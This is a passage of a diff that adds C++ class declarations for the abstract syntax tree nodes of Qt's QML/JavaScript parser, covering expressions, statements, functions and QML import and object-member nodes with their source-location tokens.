+ SourceLocation decrementToken;
+};
+
+class QML_PARSER_EXPORT UnaryPlusExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UnaryPlusExpression)
+
+ UnaryPlusExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return plusToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation plusToken;
+};
+
+class QML_PARSER_EXPORT UnaryMinusExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UnaryMinusExpression)
+
+ UnaryMinusExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return minusToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation minusToken;
+};
+
+class QML_PARSER_EXPORT TildeExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(TildeExpression)
+
+ TildeExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return tildeToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation tildeToken;
+};
+
+class QML_PARSER_EXPORT NotExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(NotExpression)
+
+ NotExpression(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return notToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return expression->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation notToken;
+};
+
+class QML_PARSER_EXPORT BinaryExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(BinaryExpression)
+
+ BinaryExpression(ExpressionNode *l, int o, ExpressionNode *r):
+ left (l), op (o), right (r)
+ { kind = K; }
+
+ virtual BinaryExpression *binaryExpressionCast();
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return left->firstSourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return right->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *left;
+ int op;
+ ExpressionNode *right;
+ SourceLocation operatorToken;
+};
+
+class QML_PARSER_EXPORT ConditionalExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ConditionalExpression)
+
+ ConditionalExpression(ExpressionNode *e, ExpressionNode *t, ExpressionNode *f):
+ expression (e), ok (t), ko (f)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return expression->firstSourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return ko->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ ExpressionNode *ok;
+ ExpressionNode *ko;
+ SourceLocation questionToken;
+ SourceLocation colonToken;
+};
+
+class QML_PARSER_EXPORT Expression: public ExpressionNode // ### rename
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(Expression)
+
+ Expression(ExpressionNode *l, ExpressionNode *r):
+ left (l), right (r) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return left->firstSourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return right->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *left;
+ ExpressionNode *right;
+ SourceLocation commaToken;
+};
+
+class QML_PARSER_EXPORT Block: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(Block)
+
+ Block(StatementList *slist):
+ statements (slist) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return lbraceToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return rbraceToken; }
+
+ // attributes
+ StatementList *statements;
+ SourceLocation lbraceToken;
+ SourceLocation rbraceToken;
+};
+
+class QML_PARSER_EXPORT StatementList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(StatementList)
+
+ StatementList(Statement *stmt):
+ statement (stmt), next (this)
+ { kind = K; }
+
+ StatementList(StatementList *previous, Statement *stmt):
+ statement (stmt)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ inline StatementList *finish ()
+ {
+ StatementList *front = next;
+ next = 0;
+ return front;
+ }
+
+// attributes
+ Statement *statement;
+ StatementList *next;
+};
+
+class QML_PARSER_EXPORT VariableStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(VariableStatement)
+
+ VariableStatement(VariableDeclarationList *vlist):
+ declarations (vlist)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return declarationKindToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+// attributes
+ VariableDeclarationList *declarations;
+ SourceLocation declarationKindToken;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT VariableDeclaration: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(VariableDeclaration)
+
+ VariableDeclaration(NameId *n, ExpressionNode *e):
+ name (n), expression (e), readOnly(false)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ NameId *name;
+ ExpressionNode *expression;
+ bool readOnly;
+ SourceLocation identifierToken;
+};
+
+class QML_PARSER_EXPORT VariableDeclarationList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(VariableDeclarationList)
+
+ VariableDeclarationList(VariableDeclaration *decl):
+ declaration (decl), next (this)
+ { kind = K; }
+
+ VariableDeclarationList(VariableDeclarationList *previous, VariableDeclaration *decl):
+ declaration (decl)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ inline VariableDeclarationList *finish (bool readOnly)
+ {
+ VariableDeclarationList *front = next;
+ next = 0;
+ if (readOnly) {
+ VariableDeclarationList *vdl;
+ for (vdl = front; vdl != 0; vdl = vdl->next)
+ vdl->declaration->readOnly = true;
+ }
+ return front;
+ }
+
+// attributes
+ VariableDeclaration *declaration;
+ VariableDeclarationList *next;
+ SourceLocation commaToken;
+};
+
+class QML_PARSER_EXPORT EmptyStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(EmptyStatement)
+
+ EmptyStatement() { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return semicolonToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+// attributes
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT ExpressionStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ExpressionStatement)
+
+ ExpressionStatement(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return expression->firstSourceLocation(); }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT IfStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(IfStatement)
+
+ IfStatement(ExpressionNode *e, Statement *t, Statement *f = 0):
+ expression (e), ok (t), ko (f)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return ifToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ {
+ if (ko)
+ return ko->lastSourceLocation();
+
+ return ok->lastSourceLocation();
+ }
+
+// attributes
+ ExpressionNode *expression;
+ Statement *ok;
+ Statement *ko;
+ SourceLocation ifToken;
+ SourceLocation lparenToken;
+ SourceLocation rparenToken;
+ SourceLocation elseToken;
+};
+
+class QML_PARSER_EXPORT DoWhileStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(DoWhileStatement)
+
+ DoWhileStatement(Statement *stmt, ExpressionNode *e):
+ statement (stmt), expression (e)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return doToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+// attributes
+ Statement *statement;
+ ExpressionNode *expression;
+ SourceLocation doToken;
+ SourceLocation whileToken;
+ SourceLocation lparenToken;
+ SourceLocation rparenToken;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT WhileStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(WhileStatement)
+
+ WhileStatement(ExpressionNode *e, Statement *stmt):
+ expression (e), statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return whileToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return statement->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ Statement *statement;
+ SourceLocation whileToken;
+ SourceLocation lparenToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT ForStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ForStatement)
+
+ ForStatement(ExpressionNode *i, ExpressionNode *c, ExpressionNode *e, Statement *stmt):
+ initialiser (i), condition (c), expression (e), statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return forToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return statement->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *initialiser;
+ ExpressionNode *condition;
+ ExpressionNode *expression;
+ Statement *statement;
+ SourceLocation forToken;
+ SourceLocation lparenToken;
+ SourceLocation firstSemicolonToken;
+ SourceLocation secondSemicolonToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT LocalForStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(LocalForStatement)
+
+ LocalForStatement(VariableDeclarationList *vlist, ExpressionNode *c, ExpressionNode *e, Statement *stmt):
+ declarations (vlist), condition (c), expression (e), statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return forToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return statement->lastSourceLocation(); }
+
+// attributes
+ VariableDeclarationList *declarations;
+ ExpressionNode *condition;
+ ExpressionNode *expression;
+ Statement *statement;
+ SourceLocation forToken;
+ SourceLocation lparenToken;
+ SourceLocation varToken;
+ SourceLocation firstSemicolonToken;
+ SourceLocation secondSemicolonToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT ForEachStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ForEachStatement)
+
+ ForEachStatement(ExpressionNode *i, ExpressionNode *e, Statement *stmt):
+ initialiser (i), expression (e), statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return forToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return statement->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *initialiser;
+ ExpressionNode *expression;
+ Statement *statement;
+ SourceLocation forToken;
+ SourceLocation lparenToken;
+ SourceLocation inToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT LocalForEachStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(LocalForEachStatement)
+
+ LocalForEachStatement(VariableDeclaration *v, ExpressionNode *e, Statement *stmt):
+ declaration (v), expression (e), statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return forToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return statement->lastSourceLocation(); }
+
+// attributes
+ VariableDeclaration *declaration;
+ ExpressionNode *expression;
+ Statement *statement;
+ SourceLocation forToken;
+ SourceLocation lparenToken;
+ SourceLocation varToken;
+ SourceLocation inToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT ContinueStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ContinueStatement)
+
+ ContinueStatement(NameId *l = 0):
+ label (l) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return continueToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+// attributes
+ NameId *label;
+ SourceLocation continueToken;
+ SourceLocation identifierToken;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT BreakStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(BreakStatement)
+
+ BreakStatement(NameId *l = 0):
+ label (l) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return breakToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+ // attributes
+ NameId *label;
+ SourceLocation breakToken;
+ SourceLocation identifierToken;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT ReturnStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ReturnStatement)
+
+ ReturnStatement(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return returnToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+// attributes
+ ExpressionNode *expression;
+ SourceLocation returnToken;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT WithStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(WithStatement)
+
+ WithStatement(ExpressionNode *e, Statement *stmt):
+ expression (e), statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return withToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return statement->lastSourceLocation(); }
+
+// attributes
+ ExpressionNode *expression;
+ Statement *statement;
+ SourceLocation withToken;
+ SourceLocation lparenToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT CaseBlock: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(CaseBlock)
+
+ CaseBlock(CaseClauses *c, DefaultClause *d = 0, CaseClauses *r = 0):
+ clauses (c), defaultClause (d), moreClauses (r)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ CaseClauses *clauses;
+ DefaultClause *defaultClause;
+ CaseClauses *moreClauses;
+ SourceLocation lbraceToken;
+ SourceLocation rbraceToken;
+};
+
+class QML_PARSER_EXPORT SwitchStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(SwitchStatement)
+
+ SwitchStatement(ExpressionNode *e, CaseBlock *b):
+ expression (e), block (b)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return switchToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return block->rbraceToken; }
+
+// attributes
+ ExpressionNode *expression;
+ CaseBlock *block;
+ SourceLocation switchToken;
+ SourceLocation lparenToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT CaseClauses: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(CaseClauses)
+
+ CaseClauses(CaseClause *c):
+ clause (c), next (this)
+ { kind = K; }
+
+ CaseClauses(CaseClauses *previous, CaseClause *c):
+ clause (c)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ inline CaseClauses *finish ()
+ {
+ CaseClauses *front = next;
+ next = 0;
+ return front;
+ }
+
+//attributes
+ CaseClause *clause;
+ CaseClauses *next;
+};
+
+class QML_PARSER_EXPORT CaseClause: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(CaseClause)
+
+ CaseClause(ExpressionNode *e, StatementList *slist):
+ expression (e), statements (slist)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ ExpressionNode *expression;
+ StatementList *statements;
+ SourceLocation caseToken;
+ SourceLocation colonToken;
+};
+
+class QML_PARSER_EXPORT DefaultClause: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(DefaultClause)
+
+ DefaultClause(StatementList *slist):
+ statements (slist)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ StatementList *statements;
+ SourceLocation defaultToken;
+ SourceLocation colonToken;
+};
+
+class QML_PARSER_EXPORT LabelledStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(LabelledStatement)
+
+ LabelledStatement(NameId *l, Statement *stmt):
+ label (l), statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return identifierToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return statement->lastSourceLocation(); }
+
+// attributes
+ NameId *label;
+ Statement *statement;
+ SourceLocation identifierToken;
+ SourceLocation colonToken;
+};
+
+class QML_PARSER_EXPORT ThrowStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(ThrowStatement)
+
+ ThrowStatement(ExpressionNode *e):
+ expression (e) { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return throwToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+ // attributes
+ ExpressionNode *expression;
+ SourceLocation throwToken;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT Catch: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(Catch)
+
+ Catch(NameId *n, Block *stmt):
+ name (n), statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ NameId *name;
+ Block *statement;
+ SourceLocation catchToken;
+ SourceLocation lparenToken;
+ SourceLocation identifierToken;
+ SourceLocation rparenToken;
+};
+
+class QML_PARSER_EXPORT Finally: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(Finally)
+
+ Finally(Block *stmt):
+ statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ Block *statement;
+ SourceLocation finallyToken;
+};
+
+class QML_PARSER_EXPORT TryStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(TryStatement)
+
+ TryStatement(Statement *stmt, Catch *c, Finally *f):
+ statement (stmt), catchExpression (c), finallyExpression (f)
+ { kind = K; }
+
+ TryStatement(Statement *stmt, Finally *f):
+ statement (stmt), catchExpression (0), finallyExpression (f)
+ { kind = K; }
+
+ TryStatement(Statement *stmt, Catch *c):
+ statement (stmt), catchExpression (c), finallyExpression (0)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return tryToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ {
+ if (finallyExpression)
+ return finallyExpression->statement->rbraceToken;
+ else if (catchExpression)
+ return catchExpression->statement->rbraceToken;
+
+ return statement->lastSourceLocation();
+ }
+
+// attributes
+ Statement *statement;
+ Catch *catchExpression;
+ Finally *finallyExpression;
+ SourceLocation tryToken;
+};
+
+class QML_PARSER_EXPORT FunctionExpression: public ExpressionNode
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(FunctionExpression)
+
+ FunctionExpression(NameId *n, FormalParameterList *f, FunctionBody *b):
+ name (n), formals (f), body (b)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return functionToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return rbraceToken; }
+
+// attributes
+ NameId *name;
+ FormalParameterList *formals;
+ FunctionBody *body;
+ SourceLocation functionToken;
+ SourceLocation identifierToken;
+ SourceLocation lparenToken;
+ SourceLocation rparenToken;
+ SourceLocation lbraceToken;
+ SourceLocation rbraceToken;
+};
+
+class QML_PARSER_EXPORT FunctionDeclaration: public FunctionExpression
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(FunctionDeclaration)
+
+ FunctionDeclaration(NameId *n, FormalParameterList *f, FunctionBody *b):
+ FunctionExpression(n, f, b)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+};
+
+class QML_PARSER_EXPORT FormalParameterList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(FormalParameterList)
+
+ FormalParameterList(NameId *n):
+ name (n), next (this)
+ { kind = K; }
+
+ FormalParameterList(FormalParameterList *previous, NameId *n):
+ name (n)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ inline FormalParameterList *finish ()
+ {
+ FormalParameterList *front = next;
+ next = 0;
+ return front;
+ }
+
+// attributes
+ NameId *name;
+ FormalParameterList *next;
+ SourceLocation commaToken;
+ SourceLocation identifierToken;
+};
+
+class QML_PARSER_EXPORT FunctionBody: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(FunctionBody)
+
+ FunctionBody(SourceElements *elts):
+ elements (elts)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ SourceElements *elements;
+};
+
+class QML_PARSER_EXPORT Program: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(Program)
+
+ Program(SourceElements *elts):
+ elements (elts)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ SourceElements *elements;
+};
+
+class QML_PARSER_EXPORT SourceElements: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(SourceElements)
+
+ SourceElements(SourceElement *elt):
+ element (elt), next (this)
+ { kind = K; }
+
+ SourceElements(SourceElements *previous, SourceElement *elt):
+ element (elt)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ inline SourceElements *finish ()
+ {
+ SourceElements *front = next;
+ next = 0;
+ return front;
+ }
+
+// attributes
+ SourceElement *element;
+ SourceElements *next;
+};
+
+class QML_PARSER_EXPORT SourceElement: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(SourceElement)
+
+ inline SourceElement()
+ { kind = K; }
+};
+
+class QML_PARSER_EXPORT FunctionSourceElement: public SourceElement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(FunctionSourceElement)
+
+ FunctionSourceElement(FunctionDeclaration *f):
+ declaration (f)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ FunctionDeclaration *declaration;
+};
+
+class QML_PARSER_EXPORT StatementSourceElement: public SourceElement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(StatementSourceElement)
+
+ StatementSourceElement(Statement *stmt):
+ statement (stmt)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ Statement *statement;
+};
+
+class QML_PARSER_EXPORT DebuggerStatement: public Statement
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(DebuggerStatement)
+
+ DebuggerStatement()
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+ virtual SourceLocation firstSourceLocation() const
+ { return debuggerToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+// attributes
+ SourceLocation debuggerToken;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT UiProgram: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiProgram)
+
+ UiProgram(UiImportList *imports, UiObjectMemberList *members)
+ : imports(imports), members(members)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ UiImportList *imports;
+ UiObjectMemberList *members;
+};
+
+class QML_PARSER_EXPORT UiQualifiedId: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiQualifiedId)
+
+ UiQualifiedId(NameId *name)
+ : next(this), name(name)
+ { kind = K; }
+
+ UiQualifiedId(UiQualifiedId *previous, NameId *name)
+ : name(name)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ UiQualifiedId *finish()
+ {
+ UiQualifiedId *head = next;
+ next = 0;
+ return head;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ UiQualifiedId *next;
+ NameId *name;
+ SourceLocation identifierToken;
+};
+
+class QML_PARSER_EXPORT UiImport: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiImport)
+
+ UiImport(NameId *fileName)
+ : fileName(fileName), importUri(0), importId(0)
+ { kind = K; }
+
+ UiImport(UiQualifiedId *uri)
+ : fileName(0), importUri(uri), importId(0)
+ { kind = K; }
+
+ virtual SourceLocation firstSourceLocation() const
+ { return importToken; }
+
+ virtual SourceLocation lastSourceLocation() const
+ { return semicolonToken; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ NameId *fileName;
+ UiQualifiedId *importUri;
+ NameId *importId;
+ SourceLocation importToken;
+ SourceLocation fileNameToken;
+ SourceLocation versionToken;
+ SourceLocation asToken;
+ SourceLocation importIdToken;
+ SourceLocation semicolonToken;
+};
+
+class QML_PARSER_EXPORT UiImportList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiImportList)
+
+ UiImportList(UiImport *import)
+ : import(import),
+ next(this)
+ { kind = K; }
+
+ UiImportList(UiImportList *previous, UiImport *import)
+ : import(import)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual SourceLocation firstSourceLocation() const
+ {
+ if (import) return import->firstSourceLocation();
+ else return SourceLocation();
+ }
+
+ virtual SourceLocation lastSourceLocation() const
+ {
+ for (const UiImportList *it = this; it; it = it->next)
+ if (!it->next && it->import)
+ return it->import->lastSourceLocation();
+
+ return SourceLocation();
+ }
+
+ UiImportList *finish()
+ {
+ UiImportList *head = next;
+ next = 0;
+ return head;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ UiImport *import;
+ UiImportList *next;
+};
+
+class QML_PARSER_EXPORT UiObjectMember: public Node
+{
+public:
+ virtual SourceLocation firstSourceLocation() const = 0;
+ virtual SourceLocation lastSourceLocation() const = 0;
+
+ virtual UiObjectMember *uiObjectMemberCast();
+};
+
+class QML_PARSER_EXPORT UiObjectMemberList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiObjectMemberList)
+
+ UiObjectMemberList(UiObjectMember *member)
+ : next(this), member(member)
+ { kind = K; }
+
+ UiObjectMemberList(UiObjectMemberList *previous, UiObjectMember *member)
+ : member(member)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ UiObjectMemberList *finish()
+ {
+ UiObjectMemberList *head = next;
+ next = 0;
+ return head;
+ }
+
+// attributes
+ UiObjectMemberList *next;
+ UiObjectMember *member;
+};
+
+class QML_PARSER_EXPORT UiArrayMemberList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiArrayMemberList)
+
+ UiArrayMemberList(UiObjectMember *member)
+ : next(this), member(member)
+ { kind = K; }
+
+ UiArrayMemberList(UiArrayMemberList *previous, UiObjectMember *member)
+ : member(member)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *visitor);
+
+ UiArrayMemberList *finish()
+ {
+ UiArrayMemberList *head = next;
+ next = 0;
+ return head;
+ }
+
+// attributes
+ UiArrayMemberList *next;
+ UiObjectMember *member;
+ SourceLocation commaToken;
+};
+
+class QML_PARSER_EXPORT UiObjectInitializer: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiObjectInitializer)
+
+ UiObjectInitializer(UiObjectMemberList *members)
+ : members(members)
+ { kind = K; }
+
+ virtual void accept0(Visitor *visitor);
+
+// attributes
+ SourceLocation lbraceToken;
+ UiObjectMemberList *members;
+ SourceLocation rbraceToken;
+};
+
+class QML_PARSER_EXPORT UiParameterList: public Node
+{
+public:
+ QDECLARATIVEJS_DECLARE_AST_NODE(UiParameterList)
+
+ UiParameterList(NameId *t, NameId *n):
+ type (t), name (n), next (this)
+ { kind = K; }
+
+ UiParameterList(UiParameterList *previous, NameId *t, NameId *n):
+ type (t), name (n)
+ {
+ kind = K;
+ next = previous->next;
+ previous->next = this;
+ }
+
+ virtual void accept0(Visitor *) {}
+
+ inline UiParameterList *finish ()
+ {
+ UiParameterList *front = next;
+ next = 0;
+ return front;
+ }
+
+// attributes
+ NameId *type;
+ NameId *name;
+ UiParameterList *next;
